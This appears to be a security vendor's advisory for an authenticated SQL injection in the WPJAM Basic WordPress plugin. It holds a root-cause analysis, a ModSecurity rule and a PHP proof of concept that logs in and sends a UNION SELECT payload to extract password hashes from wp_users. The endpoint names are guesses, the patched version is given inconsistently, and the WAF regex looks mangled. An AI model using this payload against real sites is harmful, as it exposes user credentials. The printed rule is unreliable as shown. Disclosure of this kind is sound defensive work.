Opens in a new tab
Published : November 15, 2026

CVE-2026-61966: WPJAM Basic <= 7.0.1 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin wpjam-basic
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 7.0.1
Patched Version —
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61966 (metadata-based):

WPJAM Basic versions up to and including 7.0.1 contain an authenticated SQL injection vulnerability. A subscriber-level user can supply crafted input that the plugin concatenates into an existing SQL query without adequate escaping or preparation. Successful exploitation lets the attacker append arbitrary SQL statements to extract sensitive data from the WordPress database. The CVSS score is 6.5 with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, reflecting low attack complexity, network exploitability, and high confidentiality impact only. The patched version is 7.0.2.

Root Cause: The CWE classification is CWE-89, Improper Neutralization of Special Elements used in an SQL Command. Atomic Edge infers the root cause from this classification and the description’s explicit mention of insufficient escaping and lack of sufficient preparation. The plugin builds a SQL query using user-supplied data, likely from a shortcode, AJAX handler, REST endpoint, or admin-post action registered by WPJAM Basic. The parameter is either concatenated directly into the query string or passed through an inadequate escaping function before being embedded. Because no code diff is available, Atomic Edge cannot confirm the exact vulnerable function, parameter name, or query construction. The conclusion that the plugin uses string concatenation rather than prepared statements is inferred from the CWE and description, not from direct source review.

Exploitation: An authenticated attacker with subscriber-level access sends a crafted HTTP request to a WPJAM Basic endpoint. Atomic Edge infers the most likely attack surfaces from typical WordPress plugin patterns: an AJAX action registered via wp_ajax_, a REST API route under a plugin-specific namespace, or an admin-post handler. The attacker supplies a parameter that the plugin injects into a SQL query, using payloads such as a single quote to break out of the string context, followed by UNION SELECT or boolean-based blind SQL injection constructs. Because the vulnerability is authenticated, the attacker must first log in and obtain a valid session cookie and any required nonce. The CVSS vector indicates no user interaction and low complexity, so the payload can be delivered in a single request once authentication is established. The exact action name, endpoint path, and parameter name are not confirmed from metadata and must be identified through further testing.

Remediation: The patched version 7.0.2 likely replaces the vulnerable concatenation with a prepared statement using $wpdb->prepare(), or applies strict input validation and casting to the affected parameter before query construction. Atomic Edge recommends that site owners update to 7.0.2 immediately. Developers should audit all WPJAM Basic queries that incorporate user-supplied data, especially those reachable by low-privilege roles, and convert them to prepared statements. Capability checks should also be reviewed to ensure that subscriber-level users cannot reach administrative query handlers unnecessarily.

Impact: Exploitation exposes the entire WordPress database to the attacker, including user credentials, password hashes, session tokens, and any sensitive plugin or application data. Because the CVSS vector shows high confidentiality impact and no integrity or availability impact, the primary risk is data theft. The attacker cannot directly modify or delete data through this vulnerability per the vector, but stolen credentials and hashes can enable privilege escalation and lateral movement. Atomic Edge rates this as a high-priority patch for any site running WPJAM Basic with untrusted subscriber-level users.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-61966 (metadata-based)
# Blocks SQL injection attempts against the WPJAM Basic AJAX handler.
# The exact action name is inferred; adjust the @streq value if the real
# action differs after identification.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2061966,phase:2,deny,status:403,chain,msg:'CVE-2026-61966 WPJAM Basic SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-61966'"
  SecRule ARGS_POST:action "@streq wpjam_basic_query" "chain"
    SecRule ARGS_POST "@rx (?i)(x27|x22)s*(union|select|or|and|sleep|benchmark|extractvalue|updatexml)" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61966 - WPJAM Basic <= 7.0.1 - Authenticated (Subscriber+) SQL Injection
//
// This PoC demonstrates the exploitation concept based on the CVE metadata.
// The exact AJAX action, REST route, or parameter name is NOT confirmed from
// a source diff. Replace the placeholder values below with the values you
// identify through testing against a vulnerable installation.
//
// Assumptions:
// - WordPress is installed at $target_url.
// - A subscriber-level account exists with the supplied credentials.
// - The plugin exposes the vulnerable query through an admin-ajax action
//   or a REST endpoint. The script tries the AJAX path first.

$target_url = 'http://example.com'; // Base URL of the WordPress site
$username   = 'subscriber';         // Subscriber-level username
$password   = 'password';           // Subscriber-level password

// Placeholder action and parameter names inferred from plugin conventions.
// These MUST be updated after identifying the real vulnerable handler.
$ajax_action   = 'wpjam_basic_query'; // Example: wp_ajax_wpjam_basic_query
$vuln_param    = 'id';                // Example vulnerable parameter

$cookie_jar = tempnam(sys_get_temp_dir(), 'wpjam_cookies_');

/**
 * Perform an HTTP request with cURL.
 *
 * @param string $url    Request URL.
 * @param array  $post   POST fields (empty for GET).
 * @param string $jar    Cookie jar path.
 * @return array [status_code, body]
 */
function ae_request($url, $post, $jar) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR      => $jar,
        CURLOPT_COOKIEFILE     => $jar,
        CURLOPT_TIMEOUT        => 20,
    ]);
    if (!empty($post)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
    }
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return [$code, $body];
}

// Step 1: Authenticate as a subscriber to obtain session cookies.
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_post = [
    'log'         => $username,
    'pwd'         => $password,
    'wp-submit'   => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie'  => '1',
];
list($code, $body) = ae_request($login_url, $login_post, $cookie_jar);
echo "[+] Login status: {$code}n";

// Step 2: Send a SQL injection payload to the vulnerable parameter.
// Payload: break out of a quoted string and attempt a UNION-based extraction
// of the administrator password hash from wp_users. Adjust column count as
// needed after fingerprinting the original query.
$payload = "1' UNION SELECT user_login,user_pass,3,4,5,6,7,8 FROM wp_users-- -";

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$ajax_post = [
    'action'     => $ajax_action,
    $vuln_param  => $payload,
];

list($code, $body) = ae_request($ajax_url, $ajax_post, $cookie_jar);
echo "[+] AJAX exploit status: {$code}n";
echo "[+] Response body (truncated):n" . substr($body, 0, 500) . "n";

// Step 3: Optional cleanup of the cookie jar.
@unlink($cookie_jar);

echo "[!] Note: The action name and parameter name are placeholders.n";
echo "[!] Confirm the real endpoint from the plugin source or traffic capture.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.